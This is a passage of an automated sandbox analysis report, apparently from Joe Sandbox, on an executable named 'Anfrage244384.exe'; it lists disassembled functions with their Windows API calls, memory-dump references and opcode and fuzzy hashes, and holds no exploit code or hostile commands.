                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID:
                                                          • API String ID: 3677997916-0
                                                          • Opcode ID: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                          • Instruction ID: e91595cf43b51ebfb07aaa5ef395d3110d573e6c70d377c823b3106e64d9cd55
                                                          • Opcode Fuzzy Hash: d850bb980ad2883e227a71fb5280a52a3d81dc84fb8262d842fcbb69d7bdd2c1
                                                          • Instruction Fuzzy Hash: 9611E371A00205EFDB20CF60CA985AEBBB4AF10359F20443FE042B72C0D2B88A85DB19
                                                          Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                          • SendMessageA.USER32(?,00000402,00000000), ref: 004013F4
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID:
                                                          • API String ID: 3850602802-0
                                                          • Opcode ID: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                          • Instruction ID: 86e07a789f87ce41f875dd809bfef8a2c44af10f02abad90d5e7e67c6ed0449b
                                                          • Opcode Fuzzy Hash: 17f8aef753e543b5ee650811f3a930ee6678dad556f6ee04a93732104315d6e9
                                                          • Instruction Fuzzy Hash: 6C01F4317242109BE7199B399D04B6A3698E710719F54823FF852F61F1D678DC038B4C
                                                          Function 00402377 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          • RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402396
                                                          • RegCloseKey.ADVAPI32(00000000), ref: 0040239F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CloseDeleteOpenValue
                                                          • String ID:
                                                          • API String ID: 849931509-0
                                                          • Opcode ID: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                          • Instruction ID: e00662a738be89c3cfbff0ecf138b3afd2420e904d99b7d2952bcd9b842c0734
                                                          • Opcode Fuzzy Hash: ff0e75e6dbc0e2437b530ccf3d824c87c8e4f35292bcf7b0d6f82daa0a276924
                                                          • Instruction Fuzzy Hash: 39F0AF72A00111ABDB20BFA09B8EABE72B89B40354F24003BF241B71C0D9FD8D029769
                                                          Function 00401E25 Relevance: 3.0, APIs: 2, Instructions: 25COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ShowWindow.USER32(00000000,00000000), ref: 00401E43
                                                          • EnableWindow.USER32(00000000,00000000), ref: 00401E4E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Window$EnableShow
                                                          • String ID:
                                                          • API String ID: 1136574915-0
                                                          • Opcode ID: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                          • Instruction ID: 766ce69f8d9f29119b9d93d8ed06da5c6cb9de514c9912c491c81b05177acf23
                                                          • Opcode Fuzzy Hash: cac30e9f311eb4ad2c25aa1c1ee820d5a828409d143bedf3ac931335164bf815
                                                          • Instruction Fuzzy Hash: 40E01272B04211AFE714EBB5EA895AE7BB4EF40325B20403BE441F21D1DA7949419B5D
                                                          Function 0040615C Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(?,?,?,0040320D,00000009), ref: 0040616E
                                                          • GetProcAddress.KERNEL32(00000000,?), ref: 00406189
                                                            • Part of subcall function 004060EE: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406105
                                                            • Part of subcall function 004060EE: wsprintfA.USER32 ref: 0040613E
                                                            • Part of subcall function 004060EE: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406152
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                          • String ID:
                                                          • API String ID: 2547128583-0
                                                          • Opcode ID: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                          • Instruction ID: fe74a3adc9e6e91e185966662b1f988274032fa32bcfbda24cecdfcd84f5f1f8
                                                          • Opcode Fuzzy Hash: 37fdef8a9e74f9e01c5d9cba486b55d61192e0831b538c4ba44b35669f5e3aa1
                                                          • Instruction Fuzzy Hash: 94E08632604211ABD6115A749E0493B63A89F84740302443EF556F6181DB38DC3296AD
                                                          Function 00405A36 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405A3A
                                                          • CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: File$AttributesCreate
                                                          • String ID:
                                                          • API String ID: 415043291-0
                                                          • Opcode ID: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                          • Instruction ID: c63a2702068139c3e9e84e7d8e4b9ff8807d85cc1eea12f828f76e542108ca00
                                                          • Opcode Fuzzy Hash: eb7c70162aaa2fbb41597db753891574ee1d02ab6b0bad872be1f899585ac646
                                                          • Instruction Fuzzy Hash: 4ED09E31254301EFEF098F20DE16F2EBAA2EB84B01F11552CBA82950E0DA7158199B15
                                                          Function 0040551F Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateDirectoryA.KERNELBASE(?,00000000,00403196,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00405525
                                                          • GetLastError.KERNEL32 ref: 00405533
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CreateDirectoryErrorLast
                                                          • String ID:
                                                          • API String ID: 1375471231-0
                                                          • Opcode ID: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                          • Instruction ID: 6753ad635049e665ee29f65e98c6a641fb529068fc3dcc6b05b24214ffa30412
                                                          • Opcode Fuzzy Hash: 6906a218f2e8c60edb1d49339bec002b269bb684b810150c6462e9a7ab2278e9
                                                          • Instruction Fuzzy Hash: 2FC04C70255901EBDB515F20AF087177965AB60781F564839618AE10E4DA748415D92D
                                                          Function 100027E8 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VirtualAlloc.KERNELBASE(00000000), ref: 100028A7
                                                          • GetLastError.KERNEL32 ref: 100029AE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: AllocErrorLastVirtual
                                                          • String ID:
                                                          • API String ID: 497505419-0
                                                          • Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                          • Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
                                                          • Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
                                                          • Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95
                                                          Function 004025D7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: wsprintf
                                                          • String ID:
                                                          • API String ID: 2111968516-0
                                                          • Opcode ID: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                          • Instruction ID: 05ba47fdecc3ea63c4ababd7ecb476dc6fb20db578e5a9eb58a554c529b3a997
                                                          • Opcode Fuzzy Hash: 49b3759869228e343b488f69512dd5783725357fe23cd51fc775af813734beff
                                                          • Instruction Fuzzy Hash: 6021C970D0429AFADF218B9885486AEBF749F11314F1445BFE894B63D1C1BE8A81CF19
                                                          Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MoveFileA.KERNEL32(00000000,00000000), ref: 00401685
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FileMove
                                                          • String ID:
                                                          • API String ID: 3562171763-0
                                                          • Opcode ID: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                          • Instruction ID: af85bf01cb9a50de78f0d69bccb7876c1bca0e6a55c196669191a5ce7f6391a1
                                                          • Opcode Fuzzy Hash: 959bd50837eb92415fecec8519fb41a0f39fb6080f95b2b2d2609fca4733927e
                                                          • Instruction Fuzzy Hash: E6F09031B08225A3DB20B7B64F0DD5F11649B82368B34027BF111B21D1DABD860296AE
                                                          Function 00402695 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004026B3
                                                            • Part of subcall function 00405D21: wsprintfA.USER32 ref: 00405D2E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FilePointerwsprintf
                                                          • String ID:
                                                          • API String ID: 327478801-0
                                                          • Opcode ID: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                          • Instruction ID: 70d0227debc7a37a578d7891b0457e087c522133a583d4ed7425beec3b860107
                                                          • Opcode Fuzzy Hash: 4841840ad3e59c26d6a825385cdbce8c8f4545ec6429af0b04c71902af0b9ea9
                                                          • Instruction Fuzzy Hash: 40E012B1B04119ABD701EB95AE898BF7BA9DF50329F10843BF141F10D1C67E49429B2D
                                                          Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: PrivateProfileStringWrite
                                                          • String ID:
                                                          • API String ID: 390214022-0
                                                          • Opcode ID: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                          • Instruction ID: 835d7e161f894c1f3c63ad3b4a4a0fef325150ad5848be7be1b76146568c1c9e
                                                          • Opcode Fuzzy Hash: 0c403ca9e670ca7d91bfe0ece00723349c72c8e04d61ed265d5033cb5576c277
                                                          • Instruction Fuzzy Hash: 9EE04F31B001246BD7307AB10F8E97F10999BC4304B39153EBA01B62C6EDBC4C414AB9
                                                          Function 0040171F Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SearchPathA.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 00401733
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: PathSearch
                                                          • String ID:
                                                          • API String ID: 2203818243-0
                                                          • Opcode ID: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                          • Instruction ID: ffb32fe50564557a3c315a30f6fc07dc6475dfcf7bd80787db6a7ea0a2c14a15
                                                          • Opcode Fuzzy Hash: b870edbfbee029a9ad95b8ba954cad8e8ca6e667ef8ccb932940172cb277afcb
                                                          • Instruction Fuzzy Hash: B2E020B1304111ABD710DF54DE48EAB3B58DF10368F30413AF151F60C0D5FA5945A738
                                                          Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegOpenKeyExA.KERNELBASE(00000000,000005A7,00000000,00000022,00000000,?,?), ref: 00402C00
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Open
                                                          • String ID:
                                                          • API String ID: 71445658-0
                                                          • Opcode ID: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                          • Instruction ID: 602783241e3b5571dba8f65d987ce24de14800ae8f8c1c2312d958f7963b7942
                                                          • Opcode Fuzzy Hash: 72d4a8390eeea65c1ae52196c94098a904bafdf16ab8cb809bd630a83faab224
                                                          • Instruction Fuzzy Hash: 4EE04F76250108BADB00EFA4EE46F9537ECE744700F008435B608E61A1C674E5408B68
                                                          Function 00405ADD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040310E,00000000,00415420,000000FF,00415420,000000FF,000000FF,00000004,00000000), ref: 00405AF1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FileWrite
                                                          • String ID:
                                                          • API String ID: 3934441357-0
                                                          • Opcode ID: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                          • Instruction ID: 1ed90d873f298f356d36a2c1dae4bb172ade26fd4588ec9ef5a2339dc9f33d8e
                                                          • Opcode Fuzzy Hash: 84c91d76a83be332908af776156b545b11287c12e2770689e8b3db02ea887268
                                                          • Instruction Fuzzy Hash: 11E0EC3221425AABDF609E65DC04AEB7B7CFB05360F014436F925E6190D631F821DFA5
                                                          Function 00405AAE Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403158,00000000,00000000,00402F82,000000FF,00000004,00000000,00000000,00000000), ref: 00405AC2
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FileRead
                                                          • String ID:
                                                          • API String ID: 2738559852-0
                                                          • Opcode ID: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                          • Instruction ID: e0af876c1f8b3f6a8543b45de02fe6ba5ae560271bae9c5b6a9092efc5817470
                                                          • Opcode Fuzzy Hash: 7a5894fcc52b5b75c83558307916cd1b307e449aca39369e2409f4e78c5f9a6a
                                                          • Instruction Fuzzy Hash: FCE0463220029AABCF10AE509C40AAB3B6CEB00261F104832B916E3080E2B0E8209FA4
